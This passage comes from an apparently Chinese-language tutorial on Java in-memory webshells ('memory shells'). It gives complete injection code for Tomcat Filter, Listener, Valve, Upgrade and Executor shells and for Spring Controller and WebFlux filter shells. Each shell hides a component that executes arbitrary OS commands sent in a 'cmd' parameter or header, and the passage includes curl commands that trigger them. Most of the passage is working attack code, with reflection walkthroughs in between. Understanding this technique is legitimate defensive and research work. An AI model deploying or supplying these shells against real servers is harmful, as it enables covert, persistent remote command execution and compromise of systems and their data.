filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
out.print("[+] Malicious filter injection successful!<br>[+] Filter name: " + filterName + "<br>[+] Below is a list displaying filter names and their corresponding URL patterns:");
out.println("<table border='1'>");
out.println("<tr><th>Filter Name</th><th>URL Patterns</th></tr>");
List<String[]> allUrlPatterns = new ArrayList<>();
for (Object filterConfigObj : filterConfigs.values()) {
if (filterConfigObj instanceof ApplicationFilterConfig) {
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigObj;
String filtername = filterConfig.getFilterName();
FilterDef filterdef = standardContext.findFilterDef(filtername);
if (filterdef != null) {
FilterMap[] filterMaps = standardContext.findFilterMaps();
for (FilterMap filtermap : filterMaps) {
if (filtermap.getFilterName().equals(filtername)) {
String[] urlPatterns = filtermap.getURLPatterns();
allUrlPatterns.add(urlPatterns); // 将当前迭代的urlPatterns添加到列表中
out.println("<tr><td>" + filtername + "</td>");
out.println("<td>" + String.join(", ", urlPatterns) + "</td></tr>");
}
}
}
}
}
out.println("</table>");
for (String[] urlPatterns : allUrlPatterns) {
for (String pattern : urlPatterns) {
if (!pattern.equals("/*")) {
out.println("[+] shell: http://localhost:8080/test" + pattern + "?cmd=ipconfig<br>");
}
}
}
}
%>
<%!
private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}
%>
效果如下:
同样的,这里我也适配了中文编码,和一些提示性语句的输出。
3.2.2 servlet内存马demo代码分析
我们分开来分析,首先看这段代码:
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map filterConfigs = (Map) filterConfigsField.get(standardContext);
先是获取当前的servlet
上下文并拿到其私有字段context
,然后设置可访问,这样就可以通过反射这个context
字段的值,这个值是一个ApplicationContext
对象;接着获取ApplicationContext
的私有字段context
并设置可访问,然后通过反射获取ApplicationContext
的context
字段的值,这个值是一个StandardContext
对象;最后是获取StandardContext
的私有字段filterConfigs
,设置可访问之后通过反射获取StandardContext
的filterConfigs
字段的值。
中间的构造匿名类的部分就不说了,和之前的Servlet
是很像的,别忘记最后的filterChain.doFilter
就行。
然后是这段代码:
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName(filterName);
filterMap.addURLPattern("/*");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(filterName, applicationFilterConfig);
也就是定义我们自己的filterDef
和FilterMap
并加入到srandardContext
中,接着反射获取 ApplicationFilterConfig
类的构造函数并将构造函数设置为可访问,然后创建了一个 ApplicationFilterConfig
对象的实例,接着将刚刚创建的实例添加到过滤器配置的 Map
中,filterName
为键,这样就可以将动态创建的过滤器配置信息加入应用程序的全局配置中。
需要注意的是,在tomcat 7
及以前FilterDef
和FilterMap
这两个类所属的包名是:
<%@ page import="org.apache.catalina.deploy.FilterMap" %>
<%@ page import="org.apache.catalina.deploy.FilterDef" %>
tomcat 8
及以后,包名是这样的:
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
由于这方面的区别,最好是直接都用反射去写这个filter
内存马,具体demo
参考:
还有个需要注意的点就是,我给出的这个demo
代码只适用于tomcat 7
及以上,因为 filterMap.setDispatcher(DispatcherType.REQUEST.name());
这行代码中用到的DispatcherType
是在Servlet 3.0
规范中才有的。
3.2.3 tomcat6下filter内存马的编写
这里直接贴出参考文章,后面有空的话,会在我的博客中补全这部分的研究:
https://mp.weixin.qq.com/s/sAVh3BLYNHShKwg3b7WZlQ
https://www.cnblogs.com/CoLo/p/16840371.html
https://flowerwind.github.io/2021/10/11/tomcat6、7、8、9内存马/
https://9bie.org/index.php/archives/960/
3.3 Listener内存马
3.3.1 简单的Listener内存马demo编写
根据我们在上面的2.9
节中所讨论的内容,我们可以得出以下结论:
如果我们想要写一个Listener
内存马,需要经过以下步骤:
- 继承并编写一个恶意
Listener
- 获取
StandardContext
- 调用
StandardContext.addApplicationEventListener()
添加恶意Listener
由以上结论我们可以写出如下内存马demo
:
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%!
public class EvilListener implements ServletRequestListener {
public void requestDestroyed(ServletRequestEvent sre) {
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null){
InputStream in = null;
try {
in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String out = s.hasNext()?s.next():"";
Field requestF = req.getClass().getDeclaredField("request");
requestF.setAccessible(true);
Request request = (Request)requestF.get(req);
request.getResponse().setCharacterEncoding("GBK");
request.getResponse().getWriter().write(out);
}
catch (Exception ignored) {}
}
}
public void requestInitialized(ServletRequestEvent sre) {}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
EvilListener evilListener = new EvilListener();
context.addApplicationEventListener(evilListener);
out.println("[+] Inject Listener Memory Shell successfully!<br>[+] Shell url: http://localhost:8080/test/?cmd=ipconfig");
%>
效果如下:
3.3.2 Listener内存马demo代码分析
最关键部分的代码如下:
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
EvilListener evilListener = new EvilListener();
context.addApplicationEventListener(evilListener);
前面四行代码干一件事:获取StandardContext
;后两行干代码干这两件事:实例化我们编写的恶意Listener
,调用addApplicationEventListener
方法加入到applicationEventListenersList
中去,这样最终就会到eventListener
。
四、Spring MVC框架型内存马
4.1 Spring Controller型内存马
4.1.1 简单的Spring Controller型内存马demo编写
由2.11.2.2
节中的分析可知,要编写一个spring controller
型内存马,需要经过以下步骤:
- 获取
WebApplicationContext
- 获取
RequestMappingHandlerMapping
实例 - 通过反射获得自定义
Controller
的恶意方法的Method
对象 - 定义
RequestMappingInfo
- 动态注册
Controller
代码如下:
package org.example.springcontrollermemoryshellexample.demos.web;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;
@RestController
public class TestEvilController {
private String getRandomString() {
String characters = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
StringBuilder randomString = new StringBuilder();
for (int i = 0; i < 8; i++) {
int index = (int) (Math.random() * characters.length());
randomString.append(characters.charAt(index));
}
return randomString.toString();
}
@RequestMapping("/inject")
public String inject() throws Exception{
String controllerName = "/" + getRandomString();
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = InjectedController.class.getMethod("cmd");
PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null);
InjectedController injectedController = new InjectedController();
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
return "[+] Inject successfully!<br>[+] shell url: http://localhost:8080" + controllerName + "?cmd=ipconfig";
}
@RestController
public static class InjectedController {
public InjectedController(){
}
public void cmd() throws Exception {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
response.setCharacterEncoding("GBK");
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
response.getWriter().close();
}
}
}
}
运行效果:
4.1.2 Spring Controller型内存马demo代码分析
代码的关键在于如下这几行:
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = InjectedController.class.getMethod("cmd");
PatternsRequestCondition urlPattern = new PatternsRequestCondition(controllerName);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(urlPattern, condition, null, null, null, null, null);
InjectedController injectedController = new InjectedController();
requestMappingHandlerMapping.registerMapping(info, injectedController, method);
这段代码先利用RequestContextHolder
获取当前请求的WebApplicationContext
,这个RequestContextHolder
是Spring
框架提供的用于存储和访问请求相关信息的工具类;接着从上一步中获取到的WebApplicationContext
中获取RequestMappingHandlerMapping Bean
;接着通过反射获得我们自定义Controller
的恶意方法的Method
对象,然后就是拿到对应的RequestMappingInfo
对象;通过bean
实例+处理请求的method
+对应的RequestMappinginfo
对象即可调用registerMapping
方法动态添加恶意controller
。
4.2 Spring Interceptor型内存马
由2.11.2.3
节的分析我们很容易得出Spring Interceptor
型内存马的编写思路:
- 获取
ApplicationContext
- 通过
AbstractHandlerMapping
反射来获取adaptedInterceptors
- 将要注入的恶意拦截器放入到
adaptedInterceptors
中
具体代码我会放到针对实际中间件打内存马那里。
4.3 Spring WebFlux内存马
4.3.1 简单的Spring WebFlux内存马demo编写
由2.12.5
节的分析我们可以写出下面的代码:
package org.example.webfluxmemoryshelldemo.memoryshell;
import org.springframework.boot.web.embedded.netty.NettyWebServer;
import org.springframework.context.annotation.Configuration;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.http.MediaType;
import org.springframework.http.server.reactive.ReactorHttpHandlerAdapter;
import org.springframework.http.server.reactive.ServerHttpRequest;
import org.springframework.http.server.reactive.ServerHttpResponse;
import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain;
import org.springframework.web.server.WebHandler;
import org.springframework.web.server.adapter.HttpWebHandlerAdapter;
import org.springframework.web.server.handler.DefaultWebFilterChain;
import org.springframework.web.server.handler.ExceptionHandlingWebHandler;
import org.springframework.web.server.handler.FilteringWebHandler;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Modifier;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
@Configuration
public class MemoryShellFilter implements WebFilter{
public static void doInject() {
Method getThreads;
try {
getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);
for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0", false);
ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler", false);
Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler", false);
HttpWebHandlerAdapter httpWebHandlerAdapter = (HttpWebHandlerAdapter) getFieldValue(delayedInitializationHttpHandler,"delegate", false);
ExceptionHandlingWebHandler exceptionHandlingWebHandler = (ExceptionHandlingWebHandler) getFieldValue(httpWebHandlerAdapter,"delegate", true);
FilteringWebHandler filteringWebHandler = (FilteringWebHandler) getFieldValue(exceptionHandlingWebHandler,"delegate", true);
DefaultWebFilterChain defaultWebFilterChain = (DefaultWebFilterChain) getFieldValue(filteringWebHandler,"chain", false);
Object handler = getFieldValue(defaultWebFilterChain, "handler", false);
List<WebFilter> newAllFilters = new ArrayList<>(defaultWebFilterChain.getFilters());
newAllFilters.add(0, new MemoryShellFilter());
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
Field f = filteringWebHandler.getClass().getDeclaredField("chain");
f.setAccessible(true);
Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(filteringWebHandler, newChain);
modifersField.setInt(f, f.getModifiers() & Modifier.FINAL);
}
}
} catch (Exception ignored) {}
}
public static Object getFieldValue(Object obj, String fieldName,boolean superClass) throws Exception {
Field f;
if(superClass){
f = obj.getClass().getSuperclass().getDeclaredField(fieldName);
}else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
return f.get(obj);
}
public Flux<DataBuffer> getPost(ServerWebExchange exchange) {
ServerHttpRequest request = exchange.getRequest();
String path = request.getURI().getPath();
String query = request.getURI().getQuery();
if (path.equals("/evil/cmd") && query != null && query.startsWith("command=")) {
String command = query.substring(8);
try {
Process process = Runtime.getRuntime().exec("cmd /c" + command);
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
Flux<DataBuffer> response = Flux.create(sink -> {
try {
String line;
while ((line = reader.readLine()) != null) {
sink.next(DefaultDataBufferFactory.sharedInstance.wrap(line.getBytes(StandardCharsets.UTF_8)));
}
sink.complete();
} catch (IOException ignored) {}
});
exchange.getResponse().getHeaders().setContentType(MediaType.TEXT_PLAIN);
return response;
} catch (IOException ignored) {}
}
return Flux.empty();
}
@Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
if (exchange.getRequest().getURI().getPath().startsWith("/evil/")) {
doInject();
Flux<DataBuffer> response = getPost(exchange);
ServerHttpResponse serverHttpResponse = exchange.getResponse();
serverHttpResponse.getHeaders().setContentType(MediaType.TEXT_PLAIN);
return serverHttpResponse.writeWith(response);
} else {
return chain.filter(exchange);
}
}
}
4.3.2 Spring WebFlux内存马demo代码分析
从之前的分析我们知道,主要思路就是通过反射找到DefaultWebFilterChain
,然后拿到filters
,把我们的filter
插入到其中的第一位,再用这个filters
重新调用公共构造函数DefaultWebFilterChain
,赋值给之前分析里面我没看到的this.chain
即可。
思路就是这么个思路,我们来看具体的代码。
先是通过反射来获取当前运行的所有线程组,然后遍历线程数组,检查每个线程是否为NettyWebServer
实例。如果发现一个线程是NettyWebServer
,那就继续下一步的操作。接下来就是找DefaultWebFilterChain
对象:
NettyWebServer nettyWebServer = (NettyWebServer) getFieldValue(thread, "this$0", false);
ReactorHttpHandlerAdapter reactorHttpHandlerAdapter = (ReactorHttpHandlerAdapter) getFieldValue(nettyWebServer, "handler", false);
Object delayedInitializationHttpHandler = getFieldValue(reactorHttpHandlerAdapter,"httpHandler", false);
HttpWebHandlerAdapter httpWebHandlerAdapter = (HttpWebHandlerAdapter) getFieldValue(delayedInitializationHttpHandler,"delegate", false);
ExceptionHandlingWebHandler exceptionHandlingWebHandler = (ExceptionHandlingWebHandler) getFieldValue(httpWebHandlerAdapter,"delegate", true);
FilteringWebHandler filteringWebHandler = (FilteringWebHandler) getFieldValue(exceptionHandlingWebHandler,"delegate", true);
DefaultWebFilterChain defaultWebFilterChain = (DefaultWebFilterChain) getFieldValue(filteringWebHandler,"chain", false);
这条链子在之前的分析中已经提到过,一步步调用我们写的getFieldValue
函数即可。
然后就是修改这个过滤器链,添加我们自定义的恶意filter,并把它放到第一位:
Object handler = getFieldValue(defaultWebFilterChain, "handler", false);
List<WebFilter> newAllFilters = new ArrayList<>(defaultWebFilterChain.getFilters());
newAllFilters.add(0, new MemoryShellFilter());
DefaultWebFilterChain newChain = new DefaultWebFilterChain((WebHandler) handler, newAllFilters);
然后通过反射获取FilteringWebHandler
的私有字段chain
,设置为可访问之后,通过反射将原始的过滤器链替换为新创建的过滤器链newChain
,然后恢复字段的可访问权限:
Field f = filteringWebHandler.getClass().getDeclaredField("chain");
f.setAccessible(true);
Field modifersField = Field.class.getDeclaredField("modifiers");
modifersField.setAccessible(true);
modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
f.set(filteringWebHandler, newChain);
modifersField.setInt(f, f.getModifiers() & Modifier.FINAL);
这里补充一下上面的modifersField.setInt(f, f.getModifiers() & ~Modifier.FINAL);
和modifersField.setInt(f, f.getModifiers() & Modifier.FINAL);
的含义,第一个代码意思就是使用反射机制,通过modifersField
对象来修改字段的修饰符,f.getModifiers()
返回字段f
的当前修饰符,然后通过位运算& ~Modifier.FINAL
,将当前修饰符的FINAL
位清除(置为0
),表示移除了FINAL
修饰符;第二个则是把字段的修饰符重新设置为包含FINAL
修饰符的修饰符,这样就可以保持字段的封装性。
五、中间件型内存马
5.1 Tomcat Valve型内存马
我这里是新建了一个项目,并创建配置好了web
目录和tomcat
环境,pom.xml
中的依赖如下:
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.83</version>
</dependency>
</dependencies>
如果idea启动tomcat报错,可以看看是不是你开了网易云哈哈哈:
在web
目录下新建一个666.jsp
:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request req = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Field pipelineField = ContainerBase.class.getDeclaredField("pipeline");
pipelineField.setAccessible(true);
StandardPipeline evilStandardPipeline = (StandardPipeline) pipelineField.get(standardContext);
ValveBase evilValve = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws ServletException,IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.setCharacterEncoding("GBK");
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
this.getNext().invoke(request, response);
}
}
};
evilStandardPipeline.addValve(evilValve);
out.println("inject success");
%>
上面的这个是采用了从StandardContext
反射获取StandardPipeline
的方式,效果如下:
下面的则是调用 standardContext.getPipeline().addValve
实现的:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
class testEvilValve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws ServletException,IOException {
if (request.getParameter("command") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("command")} : new String[]{"cmd.exe", "/c", request.getParameter("command")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in, "GBK").useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.setCharacterEncoding("GBK");
PrintWriter out = response.getWriter();
out.println(output);
out.flush();
out.close();
this.getNext().invoke(request, response);
}
}
};
%>
<%
Field requestField = request.getClass().getDeclaredField("request");
requestField.setAccessible(true);
final Request req = (Request) requestField.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
standardContext.getPipeline().addValve(new testEvilValve());
out.println("inject success");
%>
效果如下:
5.2 Tomcat Upgrade内存马
由2.14.2
节中的分析,我们可以写出如下java
代码:
package org.example;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Request;
import org.apache.coyote.Adapter;
import org.apache.coyote.Processor;
import org.apache.coyote.UpgradeProtocol;
import org.apache.coyote.Response;
import org.apache.coyote.http11.AbstractHttp11Protocol;
import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler;
import org.apache.tomcat.util.net.SocketWrapperBase;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.HashMap;
@WebServlet("/evil")
public class TestUpgrade extends HttpServlet {
static class MyUpgrade implements UpgradeProtocol {
@Override
public String getHttpUpgradeName(boolean b) {
return null;
}
@Override
public byte[] getAlpnIdentifier() {
return new byte[0];
}
@Override
public String getAlpnName() {
return null;
}
@Override
public Processor getProcessor(SocketWrapperBase<?> socketWrapperBase, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapperBase, Adapter adapter, org.apache.coyote.Request request) {
return null;
}
@Override
public boolean accept(org.apache.coyote.Request request) {
String p = request.getHeader("cmd");
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
Response resp = (Response) response.get(request);
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream(), "GBK").useDelimiter("\\A").next().getBytes();
resp.setCharacterEncoding("GBK");
resp.doWrite(ByteBuffer.wrap(result));
} catch (Exception ignored) {}
return false;
}
}
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) {
try {
RequestFacade rf = (RequestFacade) req;
Field requestField = RequestFacade.class.getDeclaredField("request");
requestField.setAccessible(true);
Request request1 = (Request) requestField.get(rf);
Field connector = Request.class.getDeclaredField("connector");
connector.setAccessible(true);
Connector realConnector = (Connector) connector.get(request1);
Field protocolHandlerField = Connector.class.getDeclaredField("protocolHandler");
protocolHandlerField.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) protocolHandlerField.get(realConnector);
HashMap<String, UpgradeProtocol> upgradeProtocols;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
MyUpgrade myUpgrade = new MyUpgrade();
upgradeProtocols.put("hello", myUpgrade);
upgradeProtocolsField.set(handler, upgradeProtocols);
} catch (Exception ignored) {}
}
}
运行之后执行命令curl -H "Connection: Upgrade" -H "Upgrade: hello" -H "cmd: dir" http://localhost:8080/evil
,结果如下:
jsp
版本为:
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Connector" %>
<%@ page import="org.apache.coyote.http11.AbstractHttp11Protocol" %>
<%@ page import="org.apache.coyote.UpgradeProtocol" %>
<%@ page import="java.util.HashMap" %>
<%@ page import="org.apache.coyote.Processor" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="org.apache.coyote.Adapter" %>
<%@ page import="org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.nio.ByteBuffer" %>
<%
class MyUpgrade implements UpgradeProtocol {
public String getHttpUpgradeName(boolean isSSLEnabled) {
return "hello";
}
public byte[] getAlpnIdentifier() {
return new byte[0];
}
public String getAlpnName() {
return null;
}
public Processor getProcessor(SocketWrapperBase<?> socketWrapper, Adapter adapter) {
return null;
}
@Override
public InternalHttpUpgradeHandler getInternalUpgradeHandler(SocketWrapperBase<?> socketWrapper, Adapter adapter, org.apache.coyote.Request request) {
return null;
}
@Override
public boolean accept(org.apache.coyote.Request request) {
String p = request.getHeader("cmd");
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c", p} : new String[]{"/bin/sh", "-c", p};
Field response = org.apache.coyote.Request.class.getDeclaredField("response");
response.setAccessible(true);
org.apache.coyote.Response resp = (org.apache.coyote.Response) response.get(request);
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream(), "GBK").useDelimiter("\\A").next().getBytes();
resp.setCharacterEncoding("GBK");
resp.doWrite(ByteBuffer.wrap(result));
} catch (Exception ignored){}
return false;
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
Field conn = Request.class.getDeclaredField("connector");
conn.setAccessible(true);
Connector connector = (Connector) conn.get(req);
Field proHandler = Connector.class.getDeclaredField("protocolHandler");
proHandler.setAccessible(true);
AbstractHttp11Protocol handler = (AbstractHttp11Protocol) proHandler.get(connector);
HashMap<String, UpgradeProtocol> upgradeProtocols = null;
Field upgradeProtocolsField = AbstractHttp11Protocol.class.getDeclaredField("httpUpgradeProtocols");
upgradeProtocolsField.setAccessible(true);
upgradeProtocols = (HashMap<String, UpgradeProtocol>) upgradeProtocolsField.get(handler);
upgradeProtocols.put("hello", new MyUpgrade());
upgradeProtocolsField.set(handler, upgradeProtocols);
%>
启动项目之后执行以下两条命令:
curl http://localhost:8080/666.jsp
curl -H "Connection: Upgrade" -H "Upgrade: hello" -H "cmd: dir" http://localhost:8080/666.jsp
5.3 Tomcat Executor内存马
由2.15.2.3
的分析,我们可以写出下面的内存马:
<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.net.SocketWrapperBase" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="java.net.URLEncoder" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public Object getField(Object object, String fieldName) {
Field declaredField;
Class<?> clazz = object.getClass();
while (clazz != Object.class) {
try {
declaredField = clazz.getDeclaredField(fieldName);
declaredField.setAccessible(true);
return declaredField.get(object);
} catch (NoSuchFieldException | IllegalAccessException ignored) {}
clazz = clazz.getSuperclass();
}
return null;
}
public Object getStandardService() {
Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
for (Thread thread : threads) {
if (thread == null) {
continue;
}
if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
Object target = this.getField(thread, "target");
Object jioEndPoint = null;
try {
jioEndPoint = getField(target, "this$0");
} catch (Exception e) {
}
if (jioEndPoint == null) {
try {
jioEndPoint = getField(target, "endpoint");
return jioEndPoint;
